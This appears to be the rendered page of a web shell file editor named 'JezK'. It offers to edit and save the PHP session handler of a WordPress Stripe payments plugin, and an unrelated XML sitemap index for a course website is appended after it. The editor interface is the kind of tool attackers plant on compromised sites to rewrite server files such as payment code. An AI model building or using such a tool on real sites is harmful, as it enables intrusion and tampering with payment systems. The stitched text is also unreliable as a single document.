
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: session-handler-class.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

class ASP_Session {

	protected static $instance = null;
	private $transient_id      = false;
	private $trans_name;

	public function __construct() {
		self::$instance = $this;
		$this-&gt;init();
	}

	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	private function get_transient_id() {
		if ( empty( $this-&gt;transient_id ) ) {
			$this-&gt;transient_id = md5( uniqid( 'asp', true ) );
		}
		return $this-&gt;transient_id;
	}

	public function set_transient_data( $name, $data ) {
		$curr_data = get_transient( $this-&gt;trans_name );
		if ( empty( $curr_data ) ) {
			$curr_data = array();
		}
		$curr_data[ $name ] = wp_json_encode( $data );
		delete_transient( $this-&gt;trans_name );
		set_transient( $this-&gt;trans_name, $curr_data, 3600 );
	}

	public function get_transient_data( $name, $default = false ) {
		$curr_data = get_transient( $this-&gt;trans_name );
		if ( empty( $curr_data ) ) {
			return $default;
		}
		if ( ! isset( $curr_data[ $name ] ) ) {
			return $default;
		}
		return json_decode( $curr_data[ $name ], true );
	}

	public function init() {
                $asp_class = AcceptStripePayments::get_instance();
            	$dont_use_cookie = $asp_class-&gt;get_setting( 'dont_use_cookie' );
		if ( $dont_use_cookie ) {
			//Don't use cookie option is enabled.
			return;
		}
                
		$cookie_transient_id = isset( $_COOKIE['asp_transient_id'] ) ? sanitize_text_field( stripslashes ( $_COOKIE['asp_transient_id'] ) ) : '';
		if ( empty( $cookie_transient_id ) ) {
			if ( ! headers_sent() ) {
				$cookiepath    = ! defined( 'COOKIEPATH' ) ? '/' : COOKIEPATH;
				$cookie_domain = ! defined( 'COOKIE_DOMAIN' ) ? false : COOKIE_DOMAIN;
				setcookie( 'asp_transient_id', $this-&gt;get_transient_id(), time() + 604800, $cookiepath, $cookie_domain );
			}
		} else {
			$this-&gt;transient_id = $cookie_transient_id;
		}
		$this-&gt;trans_name = 'asp_session_data_' . $this-&gt;get_transient_id();
	}

}

ASP_Session::get_instance();
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//authentica.com/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://authentica.com/post-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap1.xml</loc>
		<lastmod>2026-08-26T08:04:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap2.xml</loc>
		<lastmod>2026-08-26T07:16:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/seoul-courses-sitemap.xml</loc>
		<lastmod>2026-07-13T10:19:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/barcelona-courses-sitemap.xml</loc>
		<lastmod>2026-07-24T07:14:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/florence-courses-sitemap.xml</loc>
		<lastmod>2026-07-21T10:27:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/programs_filters-sitemap.xml</loc>
		<lastmod>2026-08-25T10:16:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/category-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/news-sitemap.xml</loc>
		<lastmod>2026-08-25T11:26:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/video-sitemap.xml</loc>
		<lastmod>2026-08-21T13:20:02+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/local-sitemap.xml</loc>
		<lastmod>2026-07-21T08:21:27+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->